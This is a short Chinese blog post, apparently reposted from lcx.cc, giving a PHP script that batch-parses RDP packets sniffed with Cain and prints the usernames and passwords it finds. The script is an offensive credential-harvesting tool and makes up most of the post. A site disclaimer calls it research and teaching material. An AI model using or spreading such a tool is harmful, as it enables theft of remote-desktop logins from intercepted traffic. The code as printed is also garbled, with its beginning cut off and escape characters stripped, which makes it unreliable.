昨天晚上开始嗅探,好家伙好几百个包,网上搜了一下有一款工具叫“Cain RDP Parser”,好家伙,一个一个选,玩死人的。。。索性写了个PHP脚本来批量解析。凑合着用。
$value) { if($value!='.' && $value!='..') { rdpParser($argv[1].$value); } } }elseif(is_file($argv[1])) { rdpParser($argv[1]); } function rdpParser($filename){ $crlf = "rn"; if(!file_exists($filename)){ print "file "$filename" not exists...$crlf"; return; } $rdpH=fopen($filename,'r'); print "FILE:".basename($filename).$crlf; fseek($rdpH,0); while (!feof($rdpH)) { $line=trim(fgets($rdpH)); if(preg_match("/w+.address:.*?$/",$line,$m)) { print $line.$crlf; } if(preg_match("/^[Client decrypted packet]/",$line,$m)) { $packet=''; while (!empty($line)) { $line=trim(fgets($rdpH)); $packet.=substr($line,5,48); } $packets=explode('0000000000',str_replace(' ', '', $packet)); $i=count($packets)-27; $packets=explode('0000',$packets[$i]); $times=0; foreach ($packets as $key => $value) { if(empty($value) || $times>=2)continue; print (($times==0)?'username':'password').":t".pack('H*',$value).$crlf; $times++; } break; } } fclose($rdpH); print "-------------------------------$crlf"; } ?>
留言评论(旧系统):
文章来源于lcx.cc:Cain嗅探到的RDP包批量解析为用户名+密码的php脚本
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论